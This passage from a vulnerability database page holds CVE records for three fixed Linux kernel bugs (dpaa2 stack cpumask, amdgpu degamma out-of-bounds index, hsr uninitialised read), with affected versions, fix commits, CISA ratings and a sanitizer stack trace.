            "url": "https://git.kernel.org/stable/c/5e4f25091e6d06e99a23f724c839a58a8776a527"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d33fe1714a44ff540629b149d8fab4ac6967585c"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42093",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:18:31.047930Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:00.736Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:28.765Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/freescale/dpaa2/dpaa2-eth.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b2262b3be27cee334a2fa175ae3afb53f38fb0b1",
              "status": "affected",
              "version": "93ddf0b211a0a0367d01c9587169c16ed77b4b98",
              "versionType": "git"
            },
            {
              "lessThan": "763896ab62a672d728f5eb10ac90d98c607a8509",
              "status": "affected",
              "version": "93ddf0b211a0a0367d01c9587169c16ed77b4b98",
              "versionType": "git"
            },
            {
              "lessThan": "a55afc0f5f20ba30970aaf7271929dc00eee5e7d",
              "status": "affected",
              "version": "93ddf0b211a0a0367d01c9587169c16ed77b4b98",
              "versionType": "git"
            },
            {
              "lessThan": "48147337d7efdea6ad6e49f5b8eb894b95868ef0",
              "status": "affected",
              "version": "93ddf0b211a0a0367d01c9587169c16ed77b4b98",
              "versionType": "git"
            },
            {
              "lessThan": "69f49527aea12c23b78fb3d0a421950bf44fb4e2",
              "status": "affected",
              "version": "93ddf0b211a0a0367d01c9587169c16ed77b4b98",
              "versionType": "git"
            },
            {
              "lessThan": "5e4f25091e6d06e99a23f724c839a58a8776a527",
              "status": "affected",
              "version": "93ddf0b211a0a0367d01c9587169c16ed77b4b98",
              "versionType": "git"
            },
            {
              "lessThan": "d33fe1714a44ff540629b149d8fab4ac6967585c",
              "status": "affected",
              "version": "93ddf0b211a0a0367d01c9587169c16ed77b4b98",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/freescale/dpaa2/dpaa2-eth.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.16"
            },
            {
              "lessThan": "4.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.37",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.37",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.8",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/dpaa2: Avoid explicit cpumask var allocation on stack\n\nFor CONFIG_CPUMASK_OFFSTACK=y kernel, explicit allocation of cpumask\nvariable on stack is not recommended since it can cause potential stack\noverflow.\n\nInstead, kernel code should always use *cpumask_var API(s) to allocate\ncpumask var in config-neutral way, leaving allocation strategy to\nCONFIG_CPUMASK_OFFSTACK.\n\nUse *cpumask_var API(s) to address it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:26:51.590Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b2262b3be27cee334a2fa175ae3afb53f38fb0b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/763896ab62a672d728f5eb10ac90d98c607a8509"
        },
        {
          "url": "https://git.kernel.org/stable/c/a55afc0f5f20ba30970aaf7271929dc00eee5e7d"
        },
        {
          "url": "https://git.kernel.org/stable/c/48147337d7efdea6ad6e49f5b8eb894b95868ef0"
        },
        {
          "url": "https://git.kernel.org/stable/c/69f49527aea12c23b78fb3d0a421950bf44fb4e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/5e4f25091e6d06e99a23f724c839a58a8776a527"
        },
        {
          "url": "https://git.kernel.org/stable/c/d33fe1714a44ff540629b149d8fab4ac6967585c"
        }
      ],
      "title": "net/dpaa2: Avoid explicit cpumask var allocation on stack",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42093",
    "datePublished": "2024-07-29T17:39:29.470Z",
    "dateReserved": "2024-07-29T15:50:41.172Z",
    "dateUpdated": "2026-05-12T11:56:28.765Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49894 (GCVE-0-2024-49894)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:58

Title

drm/amd/display: Fix index out of bounds in degamma hardware format translation

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix index out of bounds in degamma hardware format translation Fixes index out of bounds issue in `cm_helper_translate_curve_to_degamma_hw_format` function. The issue could occur when the index 'i' exceeds the number of transfer function points (TRANSFER_FUNC_POINTS). The fix adds a check to ensure 'i' is within bounds before accessing the transfer function points. If 'i' is out of bounds the function returns false to indicate an error. Reported by smatch: drivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:594 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow 'output_tf->tf_pts.red' 1025 <= s32max drivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:595 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow 'output_tf->tf_pts.green' 1025 <= s32max drivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:596 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow 'output_tf->tf_pts.blue' 1025 <= s32max

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/b3dfa878257a7e988…
https://git.kernel.org/stable/c/f5f6d90087131812c…
https://git.kernel.org/stable/c/c130a3c09e3746c1a…
https://git.kernel.org/stable/c/c6979719012a90e5b…
https://git.kernel.org/stable/c/2495c8e272d846854…
https://git.kernel.org/stable/c/122e3a7a8c7bcbe3a…
https://git.kernel.org/stable/c/2f5da549535be8ccd…
https://git.kernel.org/stable/c/07078fa5d589a7fbc…
https://git.kernel.org/stable/c/b7e99058eb2e86aab…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < b3dfa878257a7e98830b3009ca5831a01d8f85fc (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < f5f6d90087131812c1e4b9d3103f400f1624396d (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < c130a3c09e3746c1a09ce26c20d21d449d039b1d (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < c6979719012a90e5b8e3bc31725fbfdd0b9b2b79 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 2495c8e272d84685403506833a664fad932e453a (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 122e3a7a8c7bcbe3aacddd6103f67f9f36bed473 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 2f5da549535be8ccd2ab7c9abac8562ad370b181 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 07078fa5d589a7fbce8f81ea8acf7aa0021ab38e (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < b7e99058eb2e86aabd7a10761e76cae33d22b49f (git)
Linux	Linux	Affected: 4.15 Unaffected: 0 , < 4.15 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49894",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:43:53.969023Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:48.651Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:22:58.352Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:57.343Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/display/dc/dcn10/dcn10_cm_common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b3dfa878257a7e98830b3009ca5831a01d8f85fc",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "f5f6d90087131812c1e4b9d3103f400f1624396d",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "c130a3c09e3746c1a09ce26c20d21d449d039b1d",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "c6979719012a90e5b8e3bc31725fbfdd0b9b2b79",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "2495c8e272d84685403506833a664fad932e453a",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "122e3a7a8c7bcbe3aacddd6103f67f9f36bed473",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "2f5da549535be8ccd2ab7c9abac8562ad370b181",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "07078fa5d589a7fbce8f81ea8acf7aa0021ab38e",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "b7e99058eb2e86aabd7a10761e76cae33d22b49f",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/display/dc/dcn10/dcn10_cm_common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.15"
            },
            {
              "lessThan": "4.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix index out of bounds in degamma hardware format translation\n\nFixes index out of bounds issue in\n`cm_helper_translate_curve_to_degamma_hw_format` function. The issue\ncould occur when the index \u0027i\u0027 exceeds the number of transfer function\npoints (TRANSFER_FUNC_POINTS).\n\nThe fix adds a check to ensure \u0027i\u0027 is within bounds before accessing the\ntransfer function points. If \u0027i\u0027 is out of bounds the function returns\nfalse to indicate an error.\n\nReported by smatch:\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:594 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.red\u0027 1025 \u003c= s32max\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:595 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.green\u0027 1025 \u003c= s32max\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:596 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.blue\u0027 1025 \u003c= s32max"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:41:19.632Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b3dfa878257a7e98830b3009ca5831a01d8f85fc"
        },
        {
          "url": "https://git.kernel.org/stable/c/f5f6d90087131812c1e4b9d3103f400f1624396d"
        },
        {
          "url": "https://git.kernel.org/stable/c/c130a3c09e3746c1a09ce26c20d21d449d039b1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6979719012a90e5b8e3bc31725fbfdd0b9b2b79"
        },
        {
          "url": "https://git.kernel.org/stable/c/2495c8e272d84685403506833a664fad932e453a"
        },
        {
          "url": "https://git.kernel.org/stable/c/122e3a7a8c7bcbe3aacddd6103f67f9f36bed473"
        },
        {
          "url": "https://git.kernel.org/stable/c/2f5da549535be8ccd2ab7c9abac8562ad370b181"
        },
        {
          "url": "https://git.kernel.org/stable/c/07078fa5d589a7fbce8f81ea8acf7aa0021ab38e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7e99058eb2e86aabd7a10761e76cae33d22b49f"
        }
      ],
      "title": "drm/amd/display: Fix index out of bounds in degamma hardware format translation",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49894",
    "datePublished": "2024-10-21T18:01:28.360Z",
    "dateReserved": "2024-10-21T12:17:06.025Z",
    "dateUpdated": "2026-05-12T11:58:57.343Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26863 (GCVE-0-2024-26863)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

hsr: Fix uninit-value access in hsr_get_node()

Summary

In the Linux kernel, the following vulnerability has been resolved: hsr: Fix uninit-value access in hsr_get_node() KMSAN reported the following uninit-value access issue [1]: ===================================================== BUG: KMSAN: uninit-value in hsr_get_node+0xa2e/0xa40 net/hsr/hsr_framereg.c:246 hsr_get_node+0xa2e/0xa40 net/hsr/hsr_framereg.c:246 fill_frame_info net/hsr/hsr_forward.c:577 [inline] hsr_forward_skb+0xe12/0x30e0 net/hsr/hsr_forward.c:615 hsr_dev_xmit+0x1a1/0x270 net/hsr/hsr_device.c:223 __netdev_start_xmit include/linux/netdevice.h:4940 [inline] netdev_start_xmit include/linux/netdevice.h:4954 [inline] xmit_one net/core/dev.c:3548 [inline] dev_hard_start_xmit+0x247/0xa10 net/core/dev.c:3564 __dev_queue_xmit+0x33b8/0x5130 net/core/dev.c:4349 dev_queue_xmit include/linux/netdevice.h:3134 [inline] packet_xmit+0x9c/0x6b0 net/packet/af_packet.c:276 packet_snd net/packet/af_packet.c:3087 [inline] packet_sendmsg+0x8b1d/0x9f30 net/packet/af_packet.c:3119 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg net/socket.c:745 [inline] __sys_sendto+0x735/0xa10 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x125/0x1c0 net/socket.c:2199 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0x6d/0x140 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x63/0x6b Uninit was created at: slab_post_alloc_hook+0x129/0xa70 mm/slab.h:768 slab_alloc_node mm/slub.c:3478 [inline] kmem_cache_alloc_node+0x5e9/0xb10 mm/slub.c:3523 kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:560 __alloc_skb+0x318/0x740 net/core/skbuff.c:651 alloc_skb include/linux/skbuff.h:1286 [inline] alloc_skb_with_frags+0xc8/0xbd0 net/core/skbuff.c:6334 sock_alloc_send_pskb+0xa80/0xbf0 net/core/sock.c:2787 packet_alloc_skb net/packet/af_packet.c:2936 [inline] packet_snd net/packet/af_packet.c:3030 [inline] packet_sendmsg+0x70e8/0x9f30 net/packet/af_packet.c:3119 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg net/socket.c:745 [inline] __sys_sendto+0x735/0xa10 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x125/0x1c0 net/socket.c:2199 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0x6d/0x140 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x63/0x6b CPU: 1 PID: 5033 Comm: syz-executor334 Not tainted 6.7.0-syzkaller-00562-g9f8413c4a66f #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 11/17/2023 ===================================================== If the packet type ID field in the Ethernet header is either ETH_P_PRP or ETH_P_HSR, but it is not followed by an HSR tag, hsr_get_skb_sequence_nr() reads an invalid value as a sequence number. This causes the above issue. This patch fixes the issue by returning NULL if the Ethernet header is not followed by an HSR tag.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/e3b2bfb8ff1810a53…
https://git.kernel.org/stable/c/889ed056eae7fda85…
https://git.kernel.org/stable/c/7fb2d4d6bb1c85f7a…
https://git.kernel.org/stable/c/a809bbfd0e503351d…
https://git.kernel.org/stable/c/1ed222ca7396938eb…
https://git.kernel.org/stable/c/39cc316fb3bc5e7c9…
https://git.kernel.org/stable/c/97d2148ea435dff4b…
https://git.kernel.org/stable/c/09e5cdbe2cc88c3c7…
https://git.kernel.org/stable/c/ddbec99f585713016…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < e3b2bfb8ff1810a537b2aa55ba906a6743ed120c (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < 889ed056eae7fda85b769a9ab33c093379c45428 (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < 7fb2d4d6bb1c85f7a23aace0ed6c86a95dea792a (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < a809bbfd0e503351d3051317288a70a4569a4949 (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < 1ed222ca7396938eb1ab2d034f1ba0d8b00a7122 (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < 39cc316fb3bc5e7c9dc5eed314fe510d119c6862 (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < 97d2148ea435dff4b4e71817c9032eb321bcd37e (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < 09e5cdbe2cc88c3c758927644a3eb02fac317209 (git) Affected: f266a683a4804dc499efc6c2206ef68efed029d0 , < ddbec99f58571301679addbc022256970ca3eac6 (git)
